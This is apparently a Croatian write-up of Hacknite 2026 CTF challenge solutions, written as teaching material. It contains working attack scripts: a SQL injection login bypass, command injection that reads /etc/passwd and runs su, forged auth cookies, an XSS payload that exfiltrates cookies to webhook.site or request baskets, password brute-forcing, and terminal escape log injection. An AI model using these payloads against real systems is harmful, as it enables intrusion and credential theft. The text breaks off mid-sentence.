========Hacknite2026 rješenja======== U ovom članku su rješenja zadataka sa Hacknite 2026 natjecanja. Zadatci su dostupni na platformama: https://platforma.hacknite.hr/ \\ https://platforma.hackultet.hr/ ======Web sigurnost====== ====FragmentSync Solutions==== Možete li sakupiti sve dijelove flaga? http://chal.hacknite.hr:15003/ Korištenjem razvojnih alata preglednika (F12 gumb), mogu se pronaći 3 dijela flaga, kao komentari u **index.html**, **script.js** i **style.css**. Za zadnji dio flaga, na stranici se nalazi hint: Automated bots and scrapers: please refer to our default crawl permissions before indexing. Dozvole za web crawlere su zapisane u **robots.txt** datoteci. Posjetom te putanje: http://chal.platforma.hacknite.hr:14066/robots.txt Vidi se putanja do zadnjeg dijela flaga: User-agent: * Disallow: /secret-internal-debug-41245346456 Bash skripta koja rješava zadatak: #!/usr/bin/env bash set -euo pipefail HOST="chal.platforma.hacknite.hr" PORT="14066" CSS="/style.css" JS="/script.js" ROBOTS="/robots.txt" f1=$(curl --fail-with-body "http://${HOST}:${PORT}" | grep -i part | cut -b 16-) f2=$(curl --fail-with-body "http://${HOST}:${PORT}${CSS}" | grep -i part | cut -b 11-) f3=$(curl --fail-with-body "http://${HOST}:${PORT}${JS}" | grep -i part | cut -b 11-) path_line=$(curl --fail-with-body "http://${HOST}:${PORT}${ROBOTS}" | grep -i disallow | cut -b 11-) f4=$(curl --fail-with-body "http://${HOST}:${PORT}${path_line}/" | grep -i part | cut -b 15-) echo "import re;x='$f1$f2$f3$f4';print(re.sub(r'[ \:\*Ppart\!\/\-\<\>]', '', x))" | python ====SQLogin=== Stranica ima dostupnu samo login formu, možete li se ulogirati? Napomena: bruteforce nije potreban. http://chal.platforma.hacknite.hr:14073/ Naziv zadatka je "SQLogin", što se može shvatiti kao hint da je u zadatku relevantan "SQL". Pregledom stranice zadatka vidi se tekst: Stack: Flask + SQLite SQLite je baza podataka koju zadatak koristi pa se može i znati sintaksa SQL upita za tu bazu podataka. Pokušaj osnovne SQL injekcije prilagođene za SQLite: Username: ' OR 1=1 -- Password: a Prijava je uspješna za korisnika "admin", jer je administrator jedini korisnik u bazi podataka, a flag je prikazan na stranici. ====Document Portal=== Dostupna je stranica za pregled i čitanje dokumenata, možete li pročitati flag? http://chal.platforma.hacknite.hr:14065/ Odabirom opcije List files na stranici, prikazuju se dostupne datoteke u formatu po kojem se može zaključiti da je dan ispis komande ls -lah Unosom neispravnog naziva datoteke, dobiva se ispis greške: cat: nepostojecaDatoteka: No such file or directory Vidi se da se korisnički unos prosljeđuje kao argument naredbe **cat**. Ako se za ime datoteke koja se čita unese **/etc/passwd**, dobiva se ispis svih korisnika sustava: ... nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin web:x:1000:1000::/home/web:/bin/bash readonly-user:x:1001:1001::/home/readonly-user:/bin/bash ctf-flagholder::1002:1002::/home/ctf-flagholder:/bin/bash Vidi se da postoji korisnik **ctf-flagholder**. Također, ovaj korisnik nema **x** na mjestu passworda, što znači da za korisnika nije postavljen password. Pokušajem command injectiona koristeći točku-zarez: .;whoami vidi se da je command injection uspješan: cat: .: Is a directory readonly-user Kako bi se riješio zadatak, potrebno je koristiti **su** naredbu kako bi se promijenio korisnik u **ctf-flagholder**, te iz njegovog home direktorija pročitati flag, no ovo je potrebno izvršiti unutar jedne naredbe korištenjem **-c** zastavice **su** naredbe: .;su ctf-flagholder -c "cd; pwd; ls; cat ./*" Izvršavanjem ove naredbe prikazuje se sadržaj datoteke **flag.txt**: /home/ctf-flagholder flag.txt CTF2026[234...] ====Prazni Profili=== Naizgled prazna stranica s profilima, no ipak se tu krije nešto više, možete li otkriti što? http://chal.platforma.hacknite.hr:14069 Nakon registracije i prijave, stranica automatski preusmjeri na prikaz vlastitog profila: http://chal.platforma.hacknite.hr:14069/ Odlaskom na putanju koja bi predstavljala profil administratora: http://chal.platforma.hacknite.hr:14069/admin Prikazuje se stranica s porukom: Error 403: only user agent allowed: adminBrowser Korištenjem alata Burp Suite, neke ekstenzije preglednika ili pisanjem CURL zahtjeva direktno može se namjestiti **User-Agent** zaglavlje zahtjeva u vrijednost **adminBrowser**: curl -i \ -H "Cookie: auth=" \ -A "adminBrowser" \ "http://chal.platforma.hacknite.hr:14069/admin" Slanjem ovog zahtjeva dobiva se poruka: Access Denied! You are currently authenticated as . You do not have permission to view admin's private data. Može se primijetiti da je vrijednost **auth** kolačića u base64 formatu. Ako se dekodira, dobiva se njen sadržaj: $ echo -n "dXNlcm5hbWU9a29yaXNuaWsx" | base64 -d username=korisnik1 Vidi se da ova vrijednost auth kolačića ne sadrži potpis niti je nekriptirana. Može se izračunati base64 vrijednost za postavljanje korisničkom imena u **admin**. $ echo -n "username=admin" | base64 dXNlcm5hbWU9YWRtaW4= Postavljanjem dobivene base64 vrijednosti za auth kolačić i korištenjem **adminBrowser** vrijednosti za **User-Agent** se ponovno može poslati CURL zahtjev: curl -i \ -H "Cookie: auth=dXNlcm5hbWU9YWRtaW4=" \ -A "adminBrowser" \ "http://chal.platforma.hacknite.hr:14069/admin" U odgovoru na poslani zahtjev je ispisan flag: ...

Admin Access Granted!


Flag: CTF2026[486...]

====Sportske Pohvalnice==== Rješenje zadatka dostupno je ovdje: [[sportskepohvalnice|CTF writeup - Sportske Pohvalnice]] ====Permission Security Check System Showcase==== Rješenje zadatka dostupno je ovdje: [[permissionsecuritycheck|CTF writeup - Permission Security Check System Showcase]] ====Pro-ThemeBuilder Premium==== Navodno je moguće napraviti theme koji će nekako doći do flaga. http://chal.platforma.hacknite.hr:14070/ Uz zadatak je dan izvorni kod. U ''export_theme'' funkciji, ako dođe do greške pri pretvaranju JSON objekta kojim je definiran theme u CSS datoteku, stvara se greška. Do greške dolazi ako je ključ u rječniku neispravan te se taj ključ direktno navodi u tekstu greške: for class_name, properties in theme_data.items(): if not re.match(r'^[a-zA-Z0-9_-]+$', class_name): error_msg = f"Compiler Error: '{class_name}' is an invalid CSS class name. Alphanumeric only." return Response(error_msg, status=400, mimetype="text/plain") Greška se vraća na klijentsku stranu, gdje se tekst greške direktno uključuje u HTML s pomoću ``innerHTML`` u JavaScript funkciji ''loadThemeFromAPI'': Uzevši u obzir da se tekst ključa u rječniku koji se konstruira iz JSON objekta za korisnikov theme direktno navodi u tekstu greške koja se vraća na klijentsku stranu, a na klijentskoj strani se također direktno ispisuje bez pročišćivanja: errBanner.innerHTML = `...${responseText}...`; Potencijalno je moguć **XSS** napad. Kada korisnik pohranjuje theme na server, može u JSON objektu koji se šalje na poslužitelj postaviti XSS payload koji će se parsirati kao ključ rječnika. Na taj način je istovremeno osigurano i da će sam payload uzrokovati grešku zbog koje će se tekst greške poslati na klijentsku stranu te istovremeno sam sadržaj payloada izvršava napad. Jedna od tehnika napada je dodavanje HTML elementa slike tako da dođe do greške te se JavaScript kod definira kao kod koji se izvršava pri događanju greške. > Kako bi se osiguralo da se payload pri parsiranju pozicionira kao ključ rječnika, potrebno je strukturirati theme JSON kao: { "\">": { "color": "red", "background-color": "black" } } Nakon toga se ovaj theme s payloadom prijavljuje adminu korištenjem ''report'' funkcionalnosti na frontendu ili izravno slanjem POST zahtjeva na ''/report'' endpoint s **theme UUID** vrijednošću pohranjenog napada. JavaScript payload jednostavno treba pročitati vrijednost ''document.cookie'', enkodirati i eksfiltrirati je kao parametar unutar GET zahtjeva na stranicu koju napadač kontrolira, npr. webhook ili reqbaskets. fetch('https://webhook.site//?f='+encodeURIComponent(document.cookie))\ Puna konstrukcija payloada: callback_url = ( f"{webhook_url}/?f=" ) xss_key = ( f'' ) payload_dict = { xss_key: { "color": "red", "background-color": "black", } } json_payload = json.dumps(payload_dict) Automatizirana skripta koja rješava zadatak na opisan način: import requests import time import secrets import os import json CHALLENGE_URL = "http://chal.platforma.hacknite.hr:14070" RBASKET_API = "http://requestbaskets.platforma.hacknite.hr/api/baskets" RBASKET_Url = "http://requestbaskets.platforma.hacknite.hr" CONFIG_FILE = "basket_config.txt" user, pwd = "u_bf7f539f6cabd9ef70346ef7", "p_bf7f539f6cabd9ef70346ef7" RECENT_TIME_DIFF = 3 * 60 * 1000 class BasketManager: def __init__(self, api_url=RBASKET_API, config_file=CONFIG_FILE): self.api_base = api_url self.config_file = config_file self.name = self.token = self.exfil_url = None if not self._load_and_verify(): self.create_basket() def _load_and_verify(self): if os.path.exists(self.config_file): try: with open(self.config_file, "r") as f: self.name, self.token = f.read().strip().split(":") r = requests.get( f"{self.api_base}/{self.name}", headers={"Authorization": self.token}, timeout=5 ) if r.status_code == 200: self.exfil_url = f"{RBASKET_Url}/{self.name}" print(f"[basket] Loaded existing basket: {self.name}") return True except: pass return False def create_basket(self): self.name = "solv-" + secrets.token_hex(4) r = requests.post( f"{self.api_base}/{self.name}", json={"capacity": 200}, timeout=10 ) print("[basket] Create status:", r.status_code) print("[basket] Create response:", repr(r.text[:500])) if r.status_code != 201: raise RuntimeError(f"Basket creation failed: HTTP {r.status_code}") self.token = r.json().get("token") if not self.token: raise RuntimeError("Creation response contains no token") self.exfil_url = f"{RBASKET_Url}/{self.name}" check = requests.get( f"{self.api_base}/{self.name}", headers={"Authorization": self.token}, timeout=10 ) print("[basket] Immediate verification:", check.status_code) print("[basket] Verification body:", repr(check.text[:300])) if check.status_code != 200: print("New basket creation probably failed") with open(self.config_file, "w") as f: f.write(f"{self.name}:{self.token}") def get_requests(self): try: r = requests.get( f"{self.api_base}/{self.name}/requests", headers={"Authorization": self.token}, timeout=5 ) if r.status_code not in (200, 204): print( "[basket] HTTP status:", r.status_code, "URL:", r.url, "Body:", repr(r.text[:300]) ) return [] if r.status_code == 204: return [] return r.json().get("requests", []) except (requests.RequestException, ValueError) as e: print("[basket] Polling error:", repr(e)) return [] def solve(): basket = BasketManager() session = requests.Session() session.post( f"{CHALLENGE_URL}/register", data={"username": user, "password": pwd} ) session.post( f"{CHALLENGE_URL}/login", data={"username": user, "password": pwd} ) print(f"[*] Authenticated as {user}") xss_key = f"" print(xss_key) payload_dict = { xss_key: {"color": "red", "background-color": "black"} } json_payload = json.dumps(payload_dict) print("[*] Uploading JSON Theme with payload...") r = session.post( f"{CHALLENGE_URL}/api/themes", json={"theme_json": json_payload} ) if r.status_code != 200: print(f"[-] Failed to upload theme. Server said: {r.text}") return target_uuid = r.json().get("uuid") print(f"[+] Stored theme with payload - UUID: {target_uuid}") print(f"[*] Dispatching Admin Bot to /dashboard?theme={target_uuid} ...") session.post( f"{CHALLENGE_URL}/report", data={"uuid": target_uuid} ) print("[*] Waiting for bot execution...") now = int(time.time() * 1000) for _ in range(15): for req in basket.get_requests(): if abs(now - req["date"]) >= RECENT_TIME_DIFF: continue query_str = str(req.get("query", "")) if "CTF" in query_str: print(f"\n[+!] FLAG FOUND:\n{query_str}") return time.sleep(2) print(".", end="", flush=True) print("\n[-] Exploit failed.") if __name__ == "__main__": solve() ====The Watcher==== Možete li se "ušuljati" pored zaštitara koji gleda logove i provjerava prijave? Napomena: Ako koristite bruteforce, ograničite zahtjeve na 1 zahtjev po sekundi. http://chal.platforma.hacknite.hr:14074/ Uz zadatak je dan izvorni kod. Dostupna je registracija i prijava. Pri prijavi zapisuju se informacije o prijavi u ''auth.log''. Svaka linija teksta predstavlja jednu prijavu. Boja zapisa razlikuje se ovisno o tome je li se prijavio ''ADMIN'' ili ''USER''. Zapisuje se IP, user agent, ID prijave te prvih 16 znakova ''SHA-256'' sažetka IP adrese i ID-a prijave kao ''checksum''. Nakon toga se korisniku pokazuje dashboard, gdje su podatci korisnika "end to end" šifrirani s ključem deriviranim od korisnikove lozinke. Kako bi ih korisnik dešifrirao, mora ponovno unijeti svoju lozinku na korisničkoj strani. FLAG je pohranjen kao podatci korisnika ''admin''. "Watcher" bot pregledava ''auth.log'' kako bi odobrio ili odbio prijave. Dopušta prijavu administratora jedino ako dolazi s lokalne adrese. Ključan detalj je da "watcher" bot pregledava ''auth.log'' koristeći terminal emulator ''pyte''. Prva ranjivost je način provjere lozinke: pwd = request.form.get('password', '') ... if fnmatch.fnmatch(db_password, pwd): endToEndKey = [a ^ b for a, b in zip(db_eekeyenc, pwd.encode()[::-1], strict=True)] Ako se za password pošalje samo wildcard ''*'', ''if'' uvjet će biti zadovoljen, no ''zip'' funkcija s argumentom ''strict=True'' bacit će pogrešku ako duljine poslane lozinke i lozinke iz baze nisu jednake. Ova ranjivost se koristi kako bi se saznala administratorska lozinka, tehnikom "pametnog" bruteforcea gdje se otkriva znak po znak lozinke. Lozinka: * -> vraćen error zbog zip(.. strict=True) a* -> kriva lozinka ... D* -> vraćen error zbog zip(.. strict=True), prvi znak lozinke je "D" Da* -> kriva lozinka ... Dg* -> vraćen error zbog zip(.. strict=True), prva dva znaka lozinke su "Dg" Dga* .... Nakon što se sazna duljina lozinke i svi znakovi osim zadnjeg, potrebno je na isti način pronaći zadnji znak bez korištenja zvjezdice. Python skripta koja koristi ovu tehniku napada za otkrivanje lozinke administratora: password = "" foundPass = False while True: r = requests.post(f"{URL}/login", data={"username": "admin", "password": password}) if foundPass: break for c in chars: guess = password + c + "*" print(guess) r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess}) # zip(strict=True) crashed if r.status_code == 500 or "Error: zip() argument 2 is shorter than argument 1" in r.text: password += c sys.stdout.write(f"\r[+] Found: {password}") sys.stdout.flush() break if "Login Rejected by Security Watcher." in r.text: foundPass = True password = guess print("Pass without last char: ", password) break passFinalAtt = password[:-1] passFinal = "" for c in chars: guess = passFinalAtt + c print(guess) r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess}) if "Login Rejected by Security Watcher." in r.text: passFinal = guess print("Final pass: ", passFinal) break password = passFinal Kad se zna lozinka administratora, i dalje se nije moguće prijaviti kao administrator zato što ''watcher'' bot odbija prijavu. U ovom dijelu sustava također postoji ranjivost jer se ''user agent'' u zahtjevu korisnika direktno bez provjere ili pročišćivanja dodaje u liniju prijave u ''auth.log''. Ovaj zapisnik se prikazuje u emuliranom terminalu, tako da se mogu koristiti specijalni znakovi i sekvence terminala za manipuliranje linijom prijave koju će ''watcher'' bot parsirati. Korištenjem kontrolnog znaka ''\r'' pokazivač terminala se može pomaknuti na početak linije i tako prepisati tekst s početka. Ovako se može "prevariti" bota da je pokušaj prijave u administratorov račun zapravo prijava običnog korisnika. Pošto ID prijave dolazi nakon mjesta u liniji koda gdje je zabilježen ''user agent'', ID prijave neće biti prepisan te će bot odobriti prijavu u administratorov račun, parsirajući je kao prijavu običnog korisnika. Potrebno je korištenjem ''user agent'' zaglavlja u zahtjevu pokušaja prijave u administratorski račun prepisati početak linije zapisnika koja predstavlja prijavu tako da se boja linije promijeni u zelenu i da se prepiše ''user'' vrijednost u ''guest''. Nakon toga je potrebno ostatak linije također ispravno napisati kako bi linija i dalje bila u ispravnom formatu, a checksum sastavljen od IP i login ID vrijednosti i dalje bio validan. Format ''user agent'' vrijednosti koja koristi opisanu tehniku napada: user_agent_payload = f"aa\r\x1b[32m[USER] User:guest | IP: External | UA:xxxxxxxxxxxxxx" Korištenjem ovih dviju opisanih tehnika može se napisati automatizirana skripta koja rješava zadatak: import requests import string import sys import time import urllib.parse import re import json URL = "http://chal.platforma.hacknite.hr:14074" chars = string.ascii_letters + string.digits while True: try: requests.get(URL, timeout=2) break except requests.exceptions.ConnectionError: time.sleep(1) print("[+] Server online") # --------------------------------------------------------- # PHASE 1: ADMIN PASS BRUTEFORCE # --------------------------------------------------------- print("\n[*] Phase 1: Bruteforcing admin pass") password = "" foundPass = False while True: r = requests.post(f"{URL}/login", data={"username": "admin", "password": password}) if foundPass: break for c in chars: guess = password + c + "*" print(guess) r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess}) # zip(strict=True) crashed if r.status_code == 500 or "Error: zip() argument 2 is shorter than argument 1" in r.text: password += c sys.stdout.write(f"\r[+] Found: {password}") sys.stdout.flush() break if "Login Rejected by Security Watcher." in r.text: foundPass = True password = guess print("Pass without last char: ", password) break passFinalAtt = password[:-1] passFinal = "" for c in chars: guess = passFinalAtt + c print(guess) r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess}) if "Login Rejected by Security Watcher." in r.text: passFinal = guess print("Final pass: ", passFinal) break password = passFinal print(f"\n[+] Full Admin Password: {password}") # --------------------------------------------------------- # PHASE 2: TERMINAL LOG INJECTION -> User-Agent # --------------------------------------------------------- print("\n[*] Phase 2: Log Injection with URL-Encoded User-Agent Header") payload = f"aa\r\x1b[32m[USER] User:guest | IP: External | UA:xxxxxxxxxxxxxx" encoded_payload = urllib.parse.quote(payload) headers = {"User-Agent": encoded_payload} data = {"username": "admin", "password": password} session = requests.Session() r = session.post(f"{URL}/login", headers=headers, data=data) if r.status_code == 200: print("[+] Terminal injection successful, bypassed Watcher.") dash = session.get(f"{URL}/dashboard").text # --------------------------------------------------------- # PHASE 3: CLIENT-SIDE VAULT DECRYPTION # --------------------------------------------------------- print("\n[*] Phase 3: E2E Crypto...") try: enc_vault_hex = re.search(r'const encryptedVaultHex = "(.*?)";', dash).group(1) e2e_key = json.loads(re.search(r'const e2eKey = (\[.*?\]);', dash).group(1)) pwd_bytes = password.encode() pwd_rev = pwd_bytes[::-1] e2e_base = [] for i in range(len(e2e_key)): e2e_base.append(e2e_key[i] ^ pwd_rev[i] ^ pwd_bytes[i]) # Decrypt vault enc_vault = bytes.fromhex(enc_vault_hex) decrypted = "" for i in range(len(enc_vault)): decrypted += chr(enc_vault[i] ^ e2e_base[i % len(e2e_base)]) print(f"\n[+] FLAG: {decrypted}") except Exception as e: print(e) print(dash) else: print("[-] failed.") ====SandyFileBox==== Testirajte interaktivnu platformu koja implementira glatku integraciju python sandboxa i file fetch sustava. http://chal.platforma.hacknite.hr:14071/ Uz zadatak je dan izvorni kod. Program implementira ''sandbox'' izolirano okruženje u kojem se može izvršavati vrlo jednostavan Python kod limitiran na definiranje varijabli i matematičke operacije. Također se mogu čitati lokalne datoteke s poslužitelja tako da se sadržaj i metapodatci datoteke učitaju u sandbox. Postoje dva endpointa za obrađivanje korisničkih zahtjeva, ''/run'' i ''/readfile''. Oba endpointa bilježe sve argumente iz zahtjeva (i one koji nisu predviđeni da se nalaze u zahtjevu ako se aplikacija koristi samo posluženog frontenda) i te argumente prosljeđuju na daljnju obradu. Endpoint ''run'' prosljeđuje korisničke argumente u ''processInput'' funkciju, a ''readfile'' endpoint u funkciju ''readfile'' koja ih potom također prosljeđuje u ''processInput''. def processInput(session_id: str, name: str, value: str | None = None, operation: int | str = 0, **kwargs: Any) -> str: sanitize_input(name) if value is None: return name sanitize_input(value, allow_short_digits=True) try: op_idx = int(operation) except (TypeError, ValueError): raise ValueError("Invalid operation type") op_map = {0: "=", 1: "+=", 2: "-=", 3: "*=", 4: "//="} if op_idx not in op_map: raise ValueError("Unsupported operation requested") line = f"{name}{op_map[op_idx]}{value}" validate_and_execute_python(line, session_id) return line Funkcija prvo izvršava ''sanitize_input'' nad argumentom ''name'' te vraća tu vrijednost ako ''value'' nije definiran. Ako je ''value'' definiran, funkcija od korisničkog unosa sastavlja ''string'' za izvršavanje koji se potom prosljeđuje funkciji ''validate_and_execute_python''. Unutar ove funkcije se provjeravaju i provode sva ograničenja koja osiguravaju da se ne može izvršiti maliciozan kod. Ako su sva ograničenja i provjere zadovoljene, kod se izvršava. To znači da je moguće poslati zahtjev na endpoint ''readfile'' koji ima definiran predviđeni argument ''name'', ali i argument ''value'', te će se rezultat izvršavanja koristiti kao ime datoteke koje se čita. U tom slučaju će se napraviti dodatna provjera nad rezultatom ''checkb64''. Ova provjera u uobičajenom načinu rada ima vrijednost argumenta ''firstFunc'' postavljenu na ''0'', čime se definira da provjera prvo radi base64 encoding a potom base64 decoding te ako se ne dogodi greška tijekom tog procesa vraća rezultat. No ''firstFunc'' se također može postaviti kao argument u korisničkom zahtjevu na endpoint ''readFile'' pri čemu se argument iz zahtjeva koristi u funkciji, čime se obrće redoslijed operacija. Tada se prvo izvršava base64 decode a potom base64 encode. Za dekodiranje se ne koristi biblioteka, nego je implementirano kodom u funkciji ''stable_from_base64'' na neuobičajen način, gdje je uobičajena vrijednost argumenta ''strict_mode'' postavljena na ''False''. Funkcija u ovom načinu procesiranja koda ne provjerava ispravnost položaja padding znaka = prema standardnim Base64 pravilima. Ovo omogućuje da se znak ''='' koji se inače koristi na kraju base64 enkodiranog sadržaja kao padding nalazi na nepredviđenim mjestima bez pojave greške. To se može iskoristiti za manipuliranje postupkom dekodiranja na nepredviđeni način. Ako se pošalje zahtjev s definiranim argumentima ''name'' i ''value'' te operacijom pridruživanja, na kraju će biti konstruiran naziv datoteke koja se pokušava dohvatiti u obliku = To se može iskoristiti tako da se ''name'' i ''value'' definiraju kao dvije polovice base64 enkodiranog sadržaja, između kojih se nalazi ''=''. Zbog toga će rezultat operacija base64 enkodiranja i dekodiranja biti različit od prvotne vrijednosti. Kako bi ovaj redoslijed operacija bio postignut, potrebno je postaviti ''firstFunc'' u vrijednost ''1''. Cilj je definirati vrijednosti u zahtjevu tako da nakon što se obavi base64 provjera, rezultat provjere bude putanja do flag datoteke koja se nalazi na putanji: data/internal/stage/private/data/flag Datoteke se već automatski pretražuju iz direktorija ''data'', tako da je cilj konstruirati string ''internal/stage/private/data/flag''. Payload koji kad se dekodira sa ''stable_from_base64'' funkcijom u kodu te ponovno reenkodira daje traženu putanju je: ins=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA Da bi se konstruirao ovaj string kao naziv tražene datoteke i osigurao potreban redoslijed operacija dekodiranja i enkodiranja, potrebno je poslati zahtjev u obliku: .../readfile?name=ins&value=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&firstFunc=1 Tijekom provjere ovog zahtjeva kao konstruiranog Python koda, ''Xq52pf7LWoHv6a4r2rXv3WrWv35WoA'' će se tretirati kao ime varijable koja se pridružuje varijabli ''ins'', pa je zato potrebno prethodno poslati zahtjev kojim se osigurava da varijabla neće biti nedefinirana: .../run?name=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&value=21 Posljednjim se zahtjevom dohvaća sadržaj pročitane datoteke: .../run?name=lastfilecontent Automatizirana skripta koja rješava zadatak na opisani način: #!/usr/bin/env bash HOST="chal.platforma.hacknite.hr" PORT=14071 COOKIE_JAR="$(mktemp)" echo "=== 1st request ===" curl -v \ -c "$COOKIE_JAR" \ "http://${HOST}:${PORT}/run?name=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&value=21" echo echo "=== Cookies saved ===" cat "$COOKIE_JAR" echo echo "=== 2nd request ===" curl -v \ -b "$COOKIE_JAR" \ "http://${HOST}:${PORT}/readfile?name=ins&value=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&firstFunc=1" echo "=== 3rd request ===" curl -v \ -b "$COOKIE_JAR" \ "http://${HOST}:${PORT}/run?name=lastfilecontent" | grep "CTF" rm -f "$COOKIE_JAR" ====Local Flag Hosting==== Rješenje zadatka dostupno je ovdje: [[localflaghosting|CTF writeup - Local Flag Hosting]] ======Razno====== ====Random Network Nonsense 1==== Možete li rekonstruirati kako ulazi putuju kroz mrežu? Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14055 Uz zadatak je dan izvorni kod. Spajanjem na zadatak dostupne su opcije za unos proizvoljnog teksta za koji se dobije izlaz, unos teksta na odabranim ulazima i dobivanje izlaza teksta s flagom. [SYSTEM] Booting Switchyard Controller... [SYSTEM] Generating network candidate... [SYSTEM] Network validated. Channels: 7 -> 8 === THE PERMUTATION SWITCHYARD === Queries remaining: 30 1. Get Flag Text Output 2. Inject Custom Data (Sequential) 3. Inject Custom Data (Per Entrance) 4. Exit > 1 [CONTINUOUS OUTPUT] IYOZIOdCAgAyWX1SERQDAYWjRhx0SgQ1NdMQNbbTA0FgnXR2Q5NxIIzGswFhgwRgNIMYNcYGgyFyWX5WAANjMZWmUz5z1vItYONNIIaGckFnXGEGVYO4Nd0WFuVgG0M0dNIZdZYD4gk1WGAGFgYiVYCXVnNyj0gtIIJddWSGGTFFgFz1jky5ZcIIIGXGGzlFmFDhlyl5cZFYOGWXiDBJh01hglxdZIdIMGWC2CFAGYz0lxzgdNlMXXjXIQgUnz35aXBgYDZ5YT05Yy1=bTV5 [PER EXIT OUTPUT] Exit_0: IAERNAQsNgAUYcVFd4FVIWF1ZGlhcGBhZGF0dXIn Exit_1: YgRhd05wIyAzOkYuNggnISFjcXFlZWJgIWAlNXQz Exit_2: OAQxMFNFMFN5NFOVIkYN Exit_3: ZyD0QgxhYyjzNn4gZ1iyJGgkIGmyFXhldCGxljg3aXBgYDZ5YT05Yy1=bTV5 Exit_4: IWASNnIgNWM1IXNGdWVjdGFyIGFlYi0xI2YzMXU5 Exit_5: OXYgbXIwcXZvIGd0ZGY0 Exit_6: d1WQbRzRY5WIaE0MYACgdTz5IzD5OD1dMCzg Exit_7: CSj1T2GgGWmtGGW0DGXt Pregledom koda vidi se da se izlaz s flagom generira tako da se uzmu nasumične ''Lorem ipsum'' riječi i brojevi te se flag doda na nasumično mjesto u tekstu. Onda se cijeli tekst enkodira u base64 i prolazi kroz nasumično generiranu mrežu te se izlaz vraća korisniku. Pregledom koda generiranja mreže, pri svakoj konekciji je generirana nova nasumična mreža koja je vrlo kompleksna i teška za rekonstruirati. Mreža se generira od više vrsta čvorova koji različito procesuiraju ulaze, ali je mreža determinantna, za isti ulaz uvijek daje isti izlaz. Također, same vrijednosti znakova koji prolaze kroz mrežu ne utječu na procesuiranje, što znači da će dva ulaza iste duljine biti procesuirana na isti način. Ako se unese proizvoljan unos iste duljine kao i tekst s flagom, mreža ga procesuira na isti način, tako da su iste pozicije ulaza u mrežu premještene na iste pozicije izlaza iz mreže. U slučaju kad se šalje unos iste duljine kao i tekst s flagom, mreža se može gledati kao samo jedan ''p-box'' koji mijenja pozicije bajtova ulaza. U zadatku je dopušteno poslati 30 zahtjeva. Skup dozvoljenih znakova je definiran funkcijom: def is_printable(s): return all(c in string.printable for c in s) čime je dozvoljeno 100 različitih znakova: >>> len(string.printable) 100 kako bi se pronašlo bijektivno mapiranje ulaznih pozicija na izlazne pozicije koje se koristilo za tekst s flagom, mogu se slati unosi u kojima je svaki znak jedinstven, odnosno samo se jednom pojavljuje u tekstu, osim jednog znaka koji se ponavlja kako bi duljina unosa bila ista kao duljina izlaza teksta s flagom. Nakon toga za svaki jedinstveni znak u unosu, njegova dobivena pozicija u izlazu direktno otkriva mapiranje ulazne pozicije na izlaznu poziciju koja se koristila i za tekst s flagom. Ilustracija: Ulaz: abcdeffffffffff Izlaz: ffafdfefffbfcff znak a otkriva mapiranje: ulaz[0] -> izlaz[2] znak b otkriva mapiranje: ulaz[1] -> izlaz[10] znak c otkriva mapiranje: ulaz[2] -> izlaz[12] ... Uzevši u obzir broj zahtjeva i broj različitih dopuštenih znakova, jednostavno je riješiti zadatak ovom tehnikom. Skripta koja rješava zadatak na opisani način: #!/usr/bin/env python3 from pwn import * import string, base64, re, sys HOST = "chal.platforma.hacknite.hr" PORT = 14055 io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else remote(HOST, PORT) def run(data): io.sendline(b"2") io.recvuntil(b"Enter sequential data: ") io.sendline(data.encode()) io.recvuntil(b"[CONTINUOUS OUTPUT]\n") out = io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") return out io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"[CONTINUOUS OUTPUT]\n") target = io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") n = len(target) chars = string.ascii_letters + string.digits + string.punctuation.replace("~", "") fill = "~" plain = ["?"] * n for start in range(0, n, len(chars)): probe = fill * start + chars[:min(len(chars), n-start)] + fill * (n-start-min(len(chars), n-start)) out = run(probe) for c in chars[:min(len(chars), n-start)]: plain[start + chars.index(c)] = target[out.index(c)] b64 = "".join(plain) print(b64) text = base64.b64decode(b64).decode() print(text) print(re.search(r"CTF\S+", text).group()) io.close() ====Random Network Nonsense 2==== Možete li jako efikasno rekonstruirati kako ulazi putuju kroz mrežu? Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14056 Uz zadatak je dan izvorni kod. Kod ovog zadatka je isto kao prethodni uz par glavnih razlika, nasumično je odabran broj ulaza i izlaza iz mreže iz drugačijeg raspona brojeva, koristi se više nasumičnih ''Lorem ipsum'' za generiranje flag teksta i glavna razlika je da su dostupna samo 3 zahtjeva. Prvi zahtjev mora biti iskorišten da se sazna flag tekst i njegova duljina, što ostavlja samo dva zahtjeva za rekonstrukciju mapiranja ulaznih u izlazne pozicije. Prethodna tehnika rješavanja više nije moguća, jer se s dva zahtjeva i ''100'' različitih dopuštenih znakova može saznati samo ''198'' pozicija, a flag text u ovom zadatku je u prosjeku duži od ''500'' znakova. Pošto je tekst prvo enkodiran u base64 i tek onda izmiješan, čak i da se sazna 40% mapiranih pozicija, dio originalnog teksta koji se može iz toga saznati je znatno manji, jer se mora rekonstruirati 4 uzastopna znaka ulaza na poziciji koja je višekratnik broja 4 kako bi se taj isječak teksta u base64 formatu mogao dekodirati. Kako bi se zadatak riješio, umjesto korištenja jednog jedinstvenog znaka u jednom zahtjevu za rekonstruiranje mapiranja, koristi se jedinstvena kombinacija dvaju znakova unutar dva zahtjeva. Npr. ako je u prvom zahtjevu znak ''a'' bio na poziciji ''0''' i još 9 pozicija, a u drugom zahtjevu je znak ''b'' bio na poziciji ''0''' i još 9 pozicija, kombinacija je "jedinstvena" ako je ovo slučaj isključivo za poziciju ''0'', da se pojavio niz ''ab''. Tada je jednostavno potrebno pronaći izlaznu poziciju na kojoj je u prvom zahtjevu bio znak ''a'' (kojih je više), a u drugom znak ''b'' (samo jedna pozicija zadovoljava oba uvjeta, puno pozicija zadovoljava pojedinačni uvjet). Ako je ''C'' broj različitih dopuštenih znakova, a ''N'' broj 